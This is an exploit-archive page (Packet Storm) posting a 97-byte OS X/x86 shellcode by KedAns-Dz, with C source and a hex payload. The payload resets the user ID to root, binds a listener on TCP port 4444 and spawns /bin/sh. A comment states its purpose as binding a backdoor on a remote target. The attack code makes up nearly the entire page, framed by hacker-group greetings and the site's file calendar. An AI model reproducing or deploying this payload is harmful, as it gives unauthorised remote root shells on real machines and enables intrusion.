exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OS X / x86 Port Binding Shellcode

OS X / x86 Port Binding Shellcode
Posted Feb 10, 2012
Authored by KedAns-Dz

97 bytes small OS X / x86 shellcode that binds a shell to port 4444.

tags | shell, x86, shellcode
systems | apple, osx
SHA-256 | 623642c76b21d9c8b8565f08b67486e7985cda73e2d5e7e4e1a112dc36fa3cee

OS X / x86 Port Binding Shellcode

Change Mirror Download
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I'm KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
###
# Title : os-x/x86 bind backdoor tcp port 4444 - 97 bytes
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.dis9.com * exploit-id.com
# Facebook : http://facebook.com/KedAns
# platform : os-x/x86
# Type : Shellcode
# Tested on : Mac OSX .(snow leopard 10.4.11) En
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |
# | ------------------------------------------------- < |
##

*/

// Using THis ShellCode t0 bind BaCkd00r in remote Target and spawn backshell

#include <stdio.h>
#include <string.h>

char sc[] =
/* setreuid (0,0) */
"\x31\xC0" // XOR EAX,EAX
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\xB0\x7E" // MOV AL,7E
"\xCD\x80" // INT 0x80

// Binding BaCkd00r
"\x31\xC0" // XOR EAX,EAX
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\xB0\x17" // MOV AL,0x17
"\xCD\x80" // INT 0x80
"\x31\xC0" // XOR EAX,EAX
"\x50" // PUSH EAX
"\x68\xFF\x02\x11\x5C" // PUSH 0x5C1102FF
"\x89\xE7" // MOV EDI,ESP
"\x50" // PUSH EAX
"\x6A\x01" // PUSH 0x01
"\x6A\x02" // PUSH 0x02
"\x6A\x10" // PUSH 0x10
"\xB0\x61" // MOV AL,0x61
"\xCD\x80" // INT 0x80
"\x57" // PUSH EDI
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\x6A\x68" // PUSH 0x68
"\x58" // POP EAX
"\xCD\x80" // INT 0x80
"\x89\x47\xEC" // MOV DWORD ,EAX
"\xB0\x6A" // MOV AL,0x6A
"\xCD\x80" // INT 0x80
"\xB0\x1E" // MOV AL,0x1E
"\xCD\x80" // INT 0x80
"\x50" // PUSH EAX
"\x50" // PUSH EAX
"\x6A\x5A" // PUSH 0x5A
"\x58" // POP EAX
"\xCD\x80" // INT 0x80
"\xFF\x4F\xE4" // DEC DWORD ,EDI
"\x79\xF6" // JNS SHORT
"\x50" // PUSH EAX
"\x68\x2F\x2F\x73\x68" // PUSH 0x68732F2F
"\x68\x2F\x62\x69\x6E" // PUSH 0x6E69622F
"\x89\xE3" // MOV EBX,ESP
"\x50" // PUSH EAX
"\x54" // PUSH ESP
"\x54" // PUSH ESP
"\x53" // PUSH EBX
"\x50" // PUSH EAX
"\xB0\x3B" // MOV AL,0x3B
"\xCD\x80"; // INT 0x80

int main()
{
int (*dz)() = (int(*)())sc;
printf("bytes: %u\n", strlen(sc));
dz();
}

/*
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================*/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close